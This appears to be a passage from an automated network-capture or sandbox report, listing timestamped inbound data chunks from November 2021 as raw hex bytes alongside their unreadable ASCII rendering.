9d be 9d ff 00 0f 5a 51 36 d0 4a f4 1c 11 e9 4d 0b 94 b6 58 6d 1b be e7 b0 e9 f9 f2 29 9b 98 be c3 e9 91 ee 3f ad 57 12 7c 
bf 5f f3 cd 3f 7f 40 70 a7 3d ff 00 a5 04 f2 
Data Ascii: $y9()*{mp%w`)C:ux>@D<qgA&\6Os$Mf)er~\c?N6zt+~NGuN$E<S@9<gUddw'E{>$ZQ6JMXm)?W|_?@p=

2021-11-25 16:29:10 UTC 4995 IN Data Raw: f8 d4 6d 28 fe fe d3 ed 8f e9 4a b2 e5 bb 1f f3 ed 53 7b 8b 95 92 6e e3 3c 81 f9 d2 79 9e ff 00 a6 29 85 87 5c 
11 4b bc 7a 1c 7b 51 70 b0 f2 c4 7a 52 86 f4 c0 35 17 cb d4 51 bb dd 80 f7 e6 80 b1 38 95 82 d3 96 60 bd 47 e5 8a ad e6 
7a 11 f8 0a 70 dd d8 71 fc e8 27 94 b4 26 50 d9 20 d5 98 af b6 72 4e 7d 6b 37 cc 3d 76 8f c2 97 ce f5 e0 8e dc d2 21 d3 
52 3a 18 35 92 cb b4 bf 1d c1 15 67 fb 53 31 e1 42 ee 1d 0d 72 e2 e3 b7 1f 81 34 e5 b8 c7 7e 3f 0a 34 39 65 85 8b d6 c7 
55 6f a8 ba 30 70 14 fb 13 c0 ab 6b e2 09 5b 28 9b 23 ff 00 69 72 0e 7e b5 c6 ad c1 1d 09 e7 d0 d4 c9 7a cb c9 24 fe 15 
2e 09 9c f2 c1 c5 bb b4 75 33 6a 12 2a 80 d3 b1 63 df 27 03 f1 a9 23 d7 a4 8f 29 23 96 f4 0c 73 fd 6b 95 17 8c fc ee 1b 6a 
c2 de ab 7d e2 0e 7d 0d 64 e9 c7 b1 9c b0 8a d6 68 
Data Ascii: m(JS{n<y)\Kz{QpzR5Q8`Gzpq'&P rN}k7=v!R:5gS1Br4~?49eUo0pk[(#ir~z$.u3j*c'#)#skj}}dh

2021-11-25 16:29:10 UTC 5011 IN Data Raw: e3 80 c0 0c 8c ae 4e 72 3e bd fe 95 5c c8 71 81 c9 03 e8 0f a5 49 b3 1f 2b 39 7e 8c 33 d1 4f b5 52 21 a2 6e 64 
0a 47 04 7d ec f0 29 c1 7a b9 1c e3 e6 07 bd 11 b0 76 da 0a e7 19 20 73 f8 d2 e0 47 f3 8f 9c 64 7d 07 e3 57 e6 62 c7 38 
79 23 de 80 96 53 c0 e0 01 fe 34 c6 60 50 4a 09 20 9f 98 63 91 ff 00 d6 a9 c6 21 90 63 05 5f 92 79 22 92 68 4c 72 17 43 
b9 0f 39 3f d0 55 10 a4 44 e4 82 83 ef 29 e5 4f a5 23 12 ad 83 d0 8e 69 76 85 8f 20 7e ec f2 73 9e 3d c5 22 af 44 7f 99 7b 
11 e9 f4 a6 58 d7 6d 8f b0 92 43 01 b7 06 95 89 64 1d 03 8e 7e a3 fc 6a 39 06 d5 ff 00 77 a7 bf d2 82 03 30 71 f8 8f 53 f8 
d0 55 89 19 b6 b6 ee 41 03 18 f5 fa fb 7d 29 58 ed 52 e9 f2 67 f8 47 43 ed 9a 8c e6 56 39 c8 3d 57 eb 4a ad e5 c6 41 e1 
b3 f7 7d fd 68 15 87 84 fb 86 3c 2e 7f 84 9e 7f 
Data Ascii: Nr>\qI+9~3OR!ndG})zv sGd}Wb8y#S4`PJ c!c_y"hLrC9?UD)O#iv ~s="D{XmCd~j9w0qSUA})XRgGCV9=WJA
}h<.

2021-11-25 16:29:10 UTC 5027 IN Data Raw: 52 0a fb 53 77 ba f3 90 ea 7d 46 69 85 89 72 78 ce e0 3f 02 29 aa 0f 62 08 f4 e8 4d 31 70 79 45 c1 f4 07 8a 37 
1d d8 20 03 fe d0 a2 e1 61 fc ae 40 e0 8e 30 68 cb 81 c0 52 0f 6c 83 51 f9 98 e0 a7 f5 14 e0 df 2e 76 a6 29 5c 2c 3f 7f 1c 
a9 03 d8 e2 91 76 b7 42 73 f4 e6 98 48 ea 54 83 f4 fe b4 64 16 da 5b 69 f7 e9 54 16 24 e4 72 37 fe 40 d2 89 5d 46 09 90 
8f 65 a8 c9 da 3a 64 7a ad 1b 87 6d df 43 4a ee e1 62 46 64 f5 23 ea 31 fc e9 14 ed 6e 18 7e 2e 07 f3 a6 71 d4 6e 5f af 22 
94 9c 30 05 46 3d 54 67 f4 a6 1e 43 f7 b7 7c e3 d7 20 8a 69 c7 52 a8 3d fa 53 36 ae 72 18 2f b1 4c 7f 2a 52 e3 39 12 2a 
1f 61 4e e1 6b 0e dd df 28 41 fa d2 ee dd de 36 1e aa 33 fc e9 8c 47 07 80 de a0 50 5b 8c b2 ee f4 6c 62 84 16 1d 91 bb 
3c fd 42 e2 8f 33 6b 63 cc 3f f0 24 a6 90 b8 ce 
Data Ascii: RSw}Firx?)bM1pyE7 a@0hRlQ.v)\,?vBsHTd[iT$r7@]Fe:dzmCJbFd#1n~.qn_"0F=TgC| iR=S6r/L*R9*aNk
(A63GP[lb<B3kc?$

2021-11-25 16:29:10 UTC 5035 IN Data Raw: 4b 69 66 22 a7 50 99 c7 a1 e0 e2 94 1f 31 76 90 41 f5 f4 3e f4 6e ec c7 2d 8e bf e7 b5 0c 36 c3 bc f4 ce 04 83 
af d0 d4 fa 16 12 63 e5 2e 33 ce d6 34 d7 90 c3 26 0e 25 56 e2 80 c7 66 1f 98 db 82 7d 0d 12 31 78 f7 96 33 6d c0 38 fb 
c0 0f e6 28 b8 79 0a a5 b6 96 8f f7 91 f7 53 d4 1f e9 4b c5 c4 65 b2 77 28 fc 7f 1a 8a 36 01 b7 21 24 3f 4a 50 e3 cc c9 04 
7a e3 af e5 45 c7 62 55 3e 6d bb 03 f7 87 53 ed 4f 88 b2 e3 6e 08 61 9d a4 f5 c5 32 36 31 92 4f cc 08 c1 23 fa 8a 46 2b 
1e 1c 10 46 79 1d 47 ff 00 5a 9d c8 b7 42 58 c8 91 5c a9 c4 83 a8 3d 0d 39 5b 30 b1 7c ab 2f 6e c6 a3 19 8e 33 22 01 86 
e0 8e a7 1e bf 4a 55 3b a1 cc 47 7e 7e f2 d3 bd c9 b0 39 db d4 12 0f 23 9e 7f 03 42 be d1 82 0b a6 3b 75 14 b2 11 2a a8 
8f 2b 22 72 54 f6 34 d5 61 33 05 e6 39 cf cb b7 a6 
Data Ascii: Kif"P1vA>n-6c.34&%Vf}1x3m8(ySKew(6!$?JPzEbU>mSOna261O#F+FyGZBX\=9[0|/n3"JU;G~~9#B;u*+"rT
4a39

2021-11-25 16:29:10 UTC 5051 IN Data Raw: c7 23 b6 05 58 40 be 5c b1 b6 77 9c 32 63 a0 3d f3 f5 aa a9 f7 4a 75 63 ef 52 74 27 7d 04 7f 99 5b 3c 29 e5 47 
a5 1b 9b 28 e0 e1 7d 3a 66 99 1c a4 2b 2f 5e 69 55 9a 19 32 7f 8f a6 7a 9a 8b dc d2 dd 07 39 2a 37 8e 07 d3 f9 d0 ed bf 
2f 9d ad e8 0e 69 9b 8c 2e c0 e7 04 62 98 4f 92 d8 03 fc fb 53 b8 d2 24 e0 a6 39 05 78 f4 c5 35 a4 0b 82 a1 89 f7 e8 69 
1b 8e 47 5e f9 f4 a4 53 bb 81 c2 fd 7f 95 17 28 93 e5 56 39 3d 7f cf 06 9a 7a 15 07 3c e7 ff 00 d7 4c de 03 f2 32 49 c7 34 
72 70 49 ce 28 b8 58 93 70 68 7c b3 92 33 c0 ee 3d a9 64 26 41 1a 31 0a 54 7c a4 9a 63 31 db 91 81 4b 21 f3 57 3b b2 
dd 8d 3b 8a c4 d2 92 f1 83 93 bd 38 23 bd 37 7f 98 b9 51 86 03 90 3b fe 34 d5 91 a6 4d d9 da c3 82 47 7a 72 c8 8c b8 1f 
20 27 a6 7a 1a 77 26 d6 d0 0e 24 45 e7 63 75 dd eb f5 
Data Ascii: #X@\w2c=JucRt'}[<)G(}:f+/^iU2z9*7/i.bOS$9x5iG^S(V9=z<L2I4rpI(Xph|3=d&A1T|c1K!W;;8#7Q;4MGzr 
'zw&$Ecu

2021-11-25 16:29:10 UTC 5067 IN Data Raw: f0 b8 ce 48 1f e1 4c e9 c6 78 3c e0 d3 53 f7 33 6c 1c 8f cc 51 36 17 1d 09 3d cf 6a 2e 3b 74 1d bc 36 08 63 c7 
14 e5 63 2b a0 8c 7c df e3 51 bb 0d bb 87 04 0e 69 11 98 b0 70 46 3a 11 45 f5 b0 ec 4a 54 36 e0 cd ca 9e 9e bf 43 49 b8 
3c 7c 9c 95 3d 3b d4 6d 9d df 2d 39 b0 c7 72 67 20 67 02 9d ec 16 25 74 22 db cc 1f 70 9c 7e 34 13 ba 30 d9 22 4f 5e c4 
7b fb d4 7e 71 db b7 3c 1e 83 b5 3f 98 a3 d9 20 f9 88 f9 4f 6a ab a2 6c d6 e3 d0 17 c0 5e 09 3d 33 4f e0 b9 0e 3e ef 0d 8e
b5 5e 36 de 36 11 c8 fc e9 7c d2 92 74 27 34 ee 89 e5 64 eb 33 5b aa 90 4e 33 9a 41 83 21 6c e1 5b 9c d3 26 cc 64 10 fb 
d4 fe 94 3c 4d 0e 33 d1 86 57 3d 2a ae 2b 22 48 dc 90 50 75 ce 73 43 65 61 e4 71 cf 7a 74 36 f2 49 6a d3 11 f2 47 f7 ce 
40 3c f4 e2 98 55 ad d8 36 01 8c fe 20 d5 5c 9d 2f 
Data Ascii: HLx<S3lQ6=j.;t6cc+|QipF:EJT6CI<|=;m-9rg g%t"p~40"O^{~q<? Ojl^=3O>^66|t'4d3[N3A!l[&d<M3W=
*+"HPusCeaqzt6IjG@<U6 \/

2021-11-25 16:29:10 UTC 5075 IN Data Raw: 0c 33 d4 71 4c 39 47 8d 9b 78 ce 7a d2 0c 6e e8 bf 91 fe 74 c2 c0 7d d2 d9 f5 14 79 83 a1 66 eb db ad 1a 05 
99 27 99 c6 0e 76 fe 26 80 c8 58 6d 3e 83 91 51 96 4e a0 c9 9f 5c 50 bc ae 40 3f 50 29 85 89 40 db c8 1c 0e eb 4b e6 0e 
e4 1f 4a 84 93 bb 24 13 ef 9c 53 97 7b 72 36 b7 a8 26 81 72 92 64 39 1b 4e 3f 2c 52 7c c7 b0 3e d4 c6 df b7 e6 8b e5 f5 
1d a8 5c 9e 83 f3 eb 52 d8 58 78 79 42 f1 d3 d0 9e 94 9b 87 50 76 1f 43 43 6e 2a 09 8d b1 ea 29 8b b3 9c 48 41 f4 23 34 
5c 2c 3b cc cf 5e bd 38 14 6f 53 91 bc e7 dc 53 39 e8 47 f4 a5 57 95 54 fc dc 7d 33 4e e3 b0 e0 df dd 2b e9 4f dd 20 53 b9 
62 c7 6c e2 a0 2a 1b ef 67 3e a0 62 80 a9 1f 23 7f bf 7a 57 1d 89 30 57 a9 1c ff 00 77 9a 4f 3b 6f 2b 24 9f f7 cd 31 76 b1 
ca ee 53 eb 4b b5 99 b0 19 b3 df b5 50 7a 8b e6 16 
Data Ascii: 3qL9Gxznt}yf'v&Xm>QN\P@?P)@KJ$S{r6&rd9N?,R|>\RXxyBPvCCn*)HA#4\,;^8oSS9GWT}3N+O Sbl*g>b#z
W0WwO;o+$1vSKPz

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:29:10 UTC 5091 IN Data Raw: af 39 00 83 5d d4 3a 3c b7 b6 c2 59 65 31 86 27 21 a3 1c 1e c0 f7 19 f5 ad 1b 4f 0c 59 c5 fe 99 73 80 10 0c 80 
4b 7a 01 d3 9a 4d 76 2a 3c ed 1c eb 78 5e cc dd 0b 94 89 60 08 bf 3d ba af 5c fa 81 8e 6a c0 82 e2 6b 8c db 40 b2 44 46 
0c 4b f2 30 03 b9 39 e7 f2 ad 1f 11 e9 e2 69 c4 d0 19 77 2c 7b 4c 91 7c 98 41 db 8e 58 81 59 da 92 c7 2b db c5 00 69 e6 
40 a0 28 21 5b 9f e2 c7 53 ee 2a 34 46 8e 12 6c a7 25 bf db ad 8c 12 27 90 50 90 63 2e 70 71 d0 f1 83 59 8f 6b 79 25 cc 
84 a2 98 77 0f 2f cb 04 95 20 77 26 a5 d4 b5 48 21 9a 51 70 0c 52 a8 6d c3 86 51 8f ef 11 d3 e9 5c dd b7 8e 6e 2f d9 d2 
c6 d1 a5 b6 43 b5 e6 0a 78 e7 ef 1f 4c 7f 2a ca 55 20 b4 2a 18 6a 92 d5 23 56 7b 21 2a 3a 4b 99 62 7e e7 27 9e 87 23 3e 
a2 93 ec b1 58 a4 e4 e3 2f 80 76 9c 90 47 19 f6 15 36 
Data Ascii: 9]:<Ye1'!OYsKzMv*<x^`=\jk@DFK09iw,{L|AXY+i@(![S*4Fl%'Pc.pqYky%w/ w&H!QpRmQ\n/CxL*U *j#V{
!*:Kb~'#>X/vG6

2021-11-25 16:29:10 UTC 5107 IN Data Raw: 9e 25 b2 5b ab 1b a1 8f f4 68 ce 63 38 f5 6e d5 e8 1a 18 be 82 cd 7e df 2e e9 88 19 07 b5 74 42 a2 96 db 1d 
38 8c b6 58 38 27 39 2e 6e dd 7f af 33 a2 45 f5 14 d9 2d ee a5 75 08 7c b8 70 4b 38 1c fe b4 96 91 3c 98 38 f9 40 ea 7f 95
69 08 95 a3 2b 27 cc 18 63 d0 57 4d ee 78 92 9f b3 66 6c 36 d2 5d 48 1a 2b 81 2a 0f 94 aa e0 8c fd 47 7a c4 f1 15 e4 7a 
3c c7 30 1b 99 63 23 cc f2 ca 82 a0 f7 22 ba ab 1d 3e 0d 2e 32 b6 70 45 19 63 92 41 c0 fd 2b 03 c5 5e 1d 9a f6 41 3d 85 
e9 b3 be 73 b2 59 40 2e bb 7d 30 78 ac e5 cc 91 d5 86 ab 4e 55 ed 37 ee ff 00 5b d8 e5 d7 5c 6d 2d 65 ba be 60 22 b8 62 
2d d6 4c 82 c3 1c 60 01 c9 35 93 a9 1d 67 54 b6 ff 00 89 25 b5 ec 12 6e f9 c4 83 2a 41 eb b7 38 3f a5 5e 1e 16 d6 63 d7 
8e a2 d7 a3 54 fb 12 84 8a 29 88 21 b2 30 48 5c e0 9f 
Data Ascii: %[hc8n~.tB8X8'9.n3E-u|pK8<8@i+'cWMxfl6]H+*Gzz<0c#">.2pEcA+^A=sY@.}0xNU7[\m-e`"b-L`5gT%n*A8?
^cT)!0H\

2021-11-25 16:29:10 UTC 5114 IN Data Raw: f5 ab 8d 62 1b 7b 6d 6b 4c d2 19 6e 30 4b db 99 77 1c 1e fc 1e 6b 91 bf 4d 6b c5 1a 82 cb 73 65 2d 9b 0c 34 
92 6c 38 24 1c f0 09 e6 bb 3f 04 78 67 c5 5a 7a 94 d4 2e d7 ec 5d 4f 9a 09 73 ec b9 ed 5d 24 fa 5d bd 9c 85 89 25 dd 76 
96 24 9c 0f 61 5a 72 f3 59 ec 6a b1 d4 b0 73 70 a6 a3 36 b6 92 bb d3 b6 bd 8f 0f f1 16 8f af 68 7a 84 7a 8d ca fc 91 b8 78 
04 88 ab 9f f7 97 d7 da b0 52 58 b5 ab f9 ee 67 b4 b9 17 52 9c bc b1 8c a8 cf 53 b7 b0 af a1 b5 4d 3a ca db 47 b8 ba 5b 
4f ed 4b b0 98 55 94 e4 b7 b0 cf 4a e0 6c 35 0d 46 db 43 ba 98 78 6d 62 66 05 48 e7 7b 0e 84 56 52 a7 ae ff 00 a9 ee e0 
f3 67 5a 93 6a 9a e6 56 8d ee a3 f8 5c e3 97 c2 2f a7 d9 dc 35 b4 53 5f 2b a1 3e 74 6d 95 5c ff 00 78 1a 86 4f 0a 46 ba 0c 
17 53 c9 63 6e 23 39 0a 1f e7 73 d8 7d 7d aa cd 8e 
Data Ascii: b{mkLn0KwkMkse-4l8$?xgZz.]Os]$]%v$aZrYjsp6hzzxRXgRSM:G[OKUJl5FCxmbfH{VRgZjV\/5S_+>tm\xOF
Scn#9s}}

2021-11-25 16:29:10 UTC 5130 IN Data Raw: e4 50 7c 41 24 d6 de 40 53 b4 8c 0e c4 54 aa 96 67 7b cb 79 e3 16 b5 6b a9 d7 26 b5 04 8c 5e 69 7c e9 07 07 
1c 55 79 ef 21 f2 65 93 0a 76 e3 83 8c f3 e9 5c a6 9e 89 27 98 d3 02 58 8c 0c 9c 63 f2 a7 df 5c 79 30 96 f3 32 a3 0b 82 79 
ad 39 f4 b9 ba c1 42 33 e5 8b 25 be d6 39 cc 6d d0 67 9a e6 6e b5 59 a5 b8 75 0f 91 df 1d 31 4c bc ba 69 db 60 90 6c 19 
20 f4 c7 e3 54 66 98 23 2e c2 18 8f e2 51 8a e3 9c db 3e 8f 0f 85 8d 35 b0 f5 ba 79 83 47 34 ec aa 01 c7 19 e7 dc 66 b3 
a4 56 30 97 c1 08 dc 02 7b 9a 91 df 6f cc 01 24 f0 45 30 ae e4 1b ce c4 e9 cf af 5e 95 cf b9 ea c2 3c ba a2 b6 4e d2 3b e2 
98 8c 4a 8c 67 20 d3 e4 98 2a 95 40 00 c6 09 23 34 d5 99 a0 88 aa 1f be 30 7d 08 f4 a8 3a 92 76 19 2c 8c f2 72 49 cf 03 
e9 48 ed e4 b9 5c e4 74 c8 a6 63 32 75 c0 3c f3 eb 
Data Ascii: P|A$@STg{yk&^i|Uy!ev\'Xc\y02y9B3%9mgnYu1Li`l Tf#.Q>5yG4fV0{o$E0^<N;Jg *@#40}:v,rIH\tc2u<

2021-11-25 16:29:10 UTC 5146 IN Data Raw: dc ef c9 c9 14 d6 4c b6 4b 81 8a 4e 3b 37 02 80 0c 32 b1 2b c5 38 39 3c 1c 7e 22 99 90 3a d2 7c a7 8c 7e b4 
0e c4 9b 97 e8 3e 94 86 30 eb f2 9e 29 85 80 23 04 bf af 14 a4 af a6 47 4a 03 d0 06 47 7c 13 e9 47 b9 c9 34 a1 b1 fc 27 
ea 29 0e 5b 8c 80 7d e8 18 7b 74 fe 94 df e2 c1 dd 9c d3 8f 3c 77 f6 a0 06 1c 03 f8 9a 06 35 b6 8e 37 7e 94 d3 c1 e0 f3 d7
ad 48 a0 0c e6 9b bc 1e c3 1f ad 30 1a 48 3c f3 fd 28 dc cd ef ef 4b c6 ee 83 f1 a4 3c f7 e7 23 15 25 20 f9 ca e3 04 8e 9c 
50 df 37 45 c1 1d e9 a3 77 6e 9d 8d 1c b7 2d 93 ce 2a 2e 31 76 15 ef 8c fa 1e 69 a3 df 27 e9 41 53 e8 45 28 23 a8 25 29 
0c 4c af 52 31 f4 a3 72 28 e9 9f d2 95 97 2c 48 a0 b6 38 a0 03 78 3d b1 8f 4a 69 90 9e a7 8f d6 9d c8 ce 09 06 93 69 07 
23 18 f5 a4 c3 41 d8 05 72 00 1f 8f 34 d5 0c 3a 62 
Data Ascii: LKN;72+89<~":|~>0)#GJG|G4')[}{t<w57~H0H<(K<#% P7Ewn-*.1vi'ASE(#%)LR1r(,H8x=Jii#Ar4:b

2021-11-25 16:29:10 UTC 5154 IN Data Raw: c9 e5 29 03 88 50 e7 1f 88 aa cb 66 54 45 1a c8 65 61 cb bf 42 3e 86 b4 24 9a 0b 3b 5d fc 91 d3 6c 63 71 27 f0 
ad 12 b2 3e 7e ac dc ac 96 a3 3e ce 66 93 cc 77 da e0 63 0b f7 7f 1a 90 43 0b a6 d6 0b d7 b9 27 9a ca 6d 46 e1 18 80 7e 
66 38 58 f2 3a 7d 71 57 a3 8a 55 50 c5 5a 23 d5 8e fe 38 fa 71 51 74 67 38 4a 2b 56 49 f6 71 07 ef 15 0f a1 e3 1f a8 a4 7b 
8f dc ee 3f ea cf ca 01 e3 f2 6a 8e ed 8b c9 18 8d d4 a9 ee b9 eb ef ed 4f 16 c2 dd 95 37 29 79 39 28 a3 8c 7e 3f d2 b2 93 
ec 4d 95 93 96 e3 5e e2 69 14 08 c0 0b e9 9e 9f 53 50 fd 96 18 e4 26 49 99 e5 1d 94 65 47 d6 9f 3d b9 82 60 cb b8 86 ed 
19 3f cb a5 4a b0 cc 8c b2 34 64 47 f7 b9 ca 9f ae 71 eb 5c f2 36 83 4b 58 ec 52 92 75 b7 86 48 91 83 31 2d 83 b7 86 5f 
4e 7b 54 d1 df 22 da bc 76 c2 de 32 07 4f 24 90 
Data Ascii: )PfTEeaB>$;]lcq'>~>fwcC'mF~f8X:}qWUPZ#8qQtg8J+VIq{?jO7)y9(~?M^iSP&IeG=`?J4dGq\6KXRuH1-_N
{T"v2O$

2021-11-25 16:29:10 UTC 5170 IN Data Raw: 0b bc ed 03 d3 d7 8a 36 12 9c 0a 6e fc e3 24 f1 f9 52 b2 36 ec af 4a 63 1a ca c9 c6 08 a5 56 29 ff 00 ea a5 59 
0a 67 24 af e1 9a 41 21 18 07 bf 7a 06 38 bb 01 83 d0 d3 76 9d d8 1c 9c 76 a7 32 be cc 90 08 1e 94 d2 c5 7b 10 3d 69 89 
79 0b bf e5 c3 7e a2 8e bc 10 33 ed 49 e6 1c 73 c8 f7 a6 e7 d3 38 a4 3b 12 ae 1b b0 07 18 ea 69 b8 c1 f7 f4 a4 5c 27 3c 
9c 7b f3 4f fd db 0e 4b 0a 7d 05 b0 aa 1b 92 0e 0f b5 19 da d9 34 8a a0 b6 43 8f 4e 78 a5 65 c0 1c e7 1d e8 10 2a fa 0c 
a8 34 ad 8d d9 00 1f a5 2a ca dd 41 c9 a7 6e 62 48 c7 27 b7 6a 7a 13 a8 47 8f 4e a3 a5 1c 0e c7 07 8e 69 79 c7 cc 01 3d 
f3 46 f0 bc 60 83 ef 54 48 2f dd ea 32 3f cf 34 d6 c3 f4 a7 6e 0e dc f1 e9 48 c3 1d 0d 00 37 0c b8 c8 e3 a5 20 63 d9 05 3f 
73 76 00 0a 46 f3 03 0e 87 14 68 57 a8 c3 90 d9 29 
Data Ascii: 6n$R6JcV)Yg$A!z8vv2{=iy~3Is8;i\'<{OK}4CNxe*4*AnbH'jzGNiy=F`TH/2?4nH7 c?svFhW)

2021-11-25 16:29:10 UTC 5186 IN Data Raw: a7 ff 00 0a 93 50 65 4d b1 c0 63 d9 17 cb be 2c e1 f1 fc 5c e0 f3 ef 56 6d 93 ed 90 a2 08 24 36 28 ca d3 dd 2c 
20 c8 99 ea 37 f1 f9 13 46 fa 0e fc ab 99 ec 55 fb 33 c9 6e 64 9e 46 64 5c 01 b3 90 a4 fa 9e 95 bf 6b af 4f a4 69 f2 68 c9 15
b2 c3 78 15 a5 93 6a ca 5f 1c a9 56 c1 2a 7d 40 23 de a9 78 9b fb 26 0b ef 2b 47 8a ea 2b 22 a0 e6 f2 e0 4b 23 9c 73 92 
15 46 33 d3 8e 3d fa d2 78 7c c5 6f 7d 6f 2d e5 bc 8f 67 1b 10 3c a4 0c ea 4f 42 01 20 75 f5 e2 ae 3f 15 8c aa 7b d1 e6 7b 
7d c4 fe 11 b4 82 3f 14 5a 49 7d 25 bd 86 9e b2 32 49 73 7f 0b c9 14 64 03 d5 50 12 4f a0 f5 c6 7b d7 49 e0 7d 16 d3 c5 
3e 2c bc d3 2e bc 53 1f 87 fc 2e c1 ae 2f 2e e6 5e 5d 14 f0 a8 83 ef 48 7a 2a e7 19 ae 3f c4 1a c7 f6 85 d2 c3 1c 92 79 25 
b2 43 85 04 b1 ea 4e 38 a4 5f 2e c6 48 c2 
Data Ascii: PeMc,\Vm$6(, 7FU3ndFd\kOihxj_V*}@#x&+G+"K#sF3=x|o}o-g<OB u?{{}?ZI}%2IsdPO{I}>,.S./.^]Hz*?
y%CN8_.H

2021-11-25 16:29:10 UTC 5194 IN Data Raw: f3 2d 5b 35 95 9c 4e 5b cc 9e e5 b2 10 21 da a9 ef 9e ad f4 a8 be d5 9f f5 91 aa ab 1c 85 03 6e 4f e1 c8 aa e9 
19 7b a0 b1 7e fb 73 0c 01 9e fd ab a7 b4 d3 46 ad a9 41 a5 5a 41 1d ba ed c5 c4 fb b7 9e 3a 96 27 85 1f 4e 2b 68 de 4a 
c8 e7 a8 e3 4d dd eb 7d 7d 0d 6f 83 ff 00 11 27 f8 7f ae 5c 98 b4 bd 1e ea e2 fa 23 0a 5d 6a 96 89 3b 5b 03 d5 a3 dd 90 
ac 7a 64 83 5c c7 88 6f c4 da b5 c8 99 4d c2 ab 90 ac 5c 03 83 cf 60 01 fc aa 1d 4e 59 26 61 60 b1 03 2c 04 a1 91 4e 4c 
b8 3d 73 fe 15 1e 9b 1d ac d1 cb 25 e3 cc 24 8f 88 e3 88 03 bd b3 d1 b3 c8 1f 4a 2f 6f 72 3f d7 fc 30 b9 53 97 b6 97 6d bf 
5f 99 5d 82 c9 18 d9 16 c4 1d cf 07 ff 00 af 56 6e 2d 6d 61 86 13 0c f2 bb 9f f5 a0 85 00 7f bb ff 00 d7 a9 6e 26 45 89 5d 
2d fe ce f1 76 6c b0 39 f4 53 d2 ab 34 83 ec de 
Data Ascii: -[5N[!nO{~sFAZA:'N+hJM}}o'\#]j;[zd\oM\`NY&a`,NL=s%$J/or?0Sm_]Vn-man&E]-vl9S4

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:29:10 UTC 5210 IN Data Raw: 0a be 66 57 19 c7 7f 5e 6a ab 6e 75 2c d9 c7 e7 56 2e ef 1a e8 8d a3 ee 8c 61 47 1c 7d 2a c5 ad fd bd ae 97 
3a 14 26 e6 47 52 a7 24 2a a8 f5 19 e4 e7 d6 a6 dc ce d7 36 5c d1 57 b6 a5 61 a4 48 5e 34 b9 91 6c 41 05 81 9c 91 8e 32
3e 50 09 e7 e9 51 5d 49 02 db c6 b0 06 2c 07 ce 49 ce 4f b7 1d 29 ec e3 50 37 17 57 57 92 34 e4 82 0b 02 ed 23 77 05 b3 
c6 2a ac 7f 74 f1 c7 72 06 71 53 7b 68 8d 95 fe d3 db fa f9 88 b3 32 af 4c 82 31 cf 6f a5 34 7c d2 00 ce 30 4f 27 1f d2 96 
4c 46 a0 f4 c7 53 48 c3 f7 98 5c b2 f1 f3 e2 a4 d1 1a 76 31 db c7 1c cc f0 c9 3a ee 01 58 7c bc 7b 93 9c 64 7b 1a ce 32 22 
be 71 eb 8c 9e 9e d5 a5 27 db 77 ae 9f 71 78 2d e1 94 a9 60 1f 72 0e 38 2c 07 19 02 98 d6 f6 36 2c c1 e7 17 b2 04 3c 46 
84 28 62 70 39 3c 91 8f 61 5a b8 bb 59 69 63 9e 32 
Data Ascii: fW^jnu,V.aG}*:&GR$*6\WaH^4lA2>PQ]I,IO)P7WW4#w*trqS{h2L1o4|0O'LFSH\v1:X|{d{2"q'wqx-`r8,6,
<F(bp9<aZYic2

2021-11-25 16:29:10 UTC 5226 IN Data Raw: d9 a3 8d 88 b7 20 3e df cc 63 f3 1c 54 32 78 89 d1 92 14 10 dd e7 bb 47 b8 81 ed 8e 29 b8 ad 99 51 c6 55 a7 
24 e8 2f c7 f5 b7 de 78 05 c7 c2 bd 7e 59 a7 bb b0 ba 8e 02 54 86 31 12 85 f3 c1 04 0e 06 6a b7 86 e3 d5 7c 1f 1d da 0d 
16 7b 6d c4 ab 6c 76 63 fe f2 92 31 f9 57 bc 43 7b 3d ae 5e 4b 72 aa 58 95 3e 50 75 3f 86 38 a8 5e eb ed db e3 4d 36 4b 
88 22 04 9b 89 64 00 0f f0 fa 57 33 c2 c6 f7 8b d4 fa 55 9f 62 27 07 4a bd 35 28 e9 d6 df e5 73 c6 bc c9 af 9a 1f 39 ef 99 
cb ee 0c f1 b0 76 ef b7 8e 3f 1a f4 fd 36 e9 d6 c5 64 ba 08 db 94 6c b6 51 8e 47 af 1c 1a 8e db 41 83 52 d4 9e ea 58 a4 
86 35 1f 20 79 f2 41 f5 03 18 aa b7 53 5e 6a b7 86 ca dc 09 42 11 fb c8 fe f8 1f 53 9a b8 43 d9 b3 1c 56 22 18 cb 41 2b 25 
ab db 43 a7 d2 a5 3a cc 25 64 dd a7 b6 08 02 44 39 
Data Ascii:  >cT2xG)QU$/x~YT1j|{mlvc1WC{=^KrX>Pu?8^M6K"dW3Ub'J5(s9v?6dlQGARX5 yAS^jBSCV"A+%C:%dD9

2021-11-25 16:29:10 UTC 5234 IN Data Raw: a7 a5 6c df c3 04 36 6b 0b 99 83 3c 7f 3c 91 82 09 35 2f d9 6d 21 c3 2c 52 f9 e3 07 f7 60 e0 0f 6a ab aa c7 21 
8e 18 76 4b 3c 8e c0 ac 9e 60 3b 46 7a 11 8c d5 a8 9c 8e a7 b5 94 7a 11 c5 65 6c ba 58 48 65 95 b5 23 f7 65 b8 7c 90 3b
0d bd ea 4b 1d 2d f4 b8 cc d7 32 99 24 ce 18 84 03 23 da a3 73 2d bd f3 30 48 a0 92 20 03 0e 0b 67 b1 1d e9 d0 cf 6d 34 
8c b7 92 cb 26 f6 ff 00 57 1c 83 1f 88 a7 cb ad d0 e4 e6 d3 b3 ba 7a be af fe 18 9e f5 fe da 52 18 c1 5b 6d bc 93 f7 89 fa 
9a 87 fb 3a d3 4c b5 90 c6 5a 45 90 7c f1 99 72 49 fc 2a 19 2f a6 fb 67 91 0d b9 8a 24 20 24 84 61 48 f4 ab 2c ce af bd ee 
0a e4 e3 6f cb 85 23 fb b9 1d fd ea ad dc 9e 59 41 28 de cb b1 8f 26 96 4d 9f 96 80 c4 5b ab 31 62 e0 7a 62 a9 2d 9c b2 
5e 02 47 fa 24 63 6e 71 d7 dc 9c d7 51 35 dd b6 
Data Ascii: l6k<<5/m!,R`j!vK<`;FzzelXHe#e|;K-2$#s-0H gm4&WzR[m:LZE|rI*/g$ $aH,o#YA(&M[1bzb-^G$cnqQ5

2021-11-25 16:29:10 UTC 5250 IN Data Raw: f0 c5 6a c5 ab 58 a2 45 e4 c8 3c e6 3b 72 11 82 e7 ea 05 79 7f 86 bc 41 3c ce 22 79 c7 96 08 53 19 4c f3 f5 35 
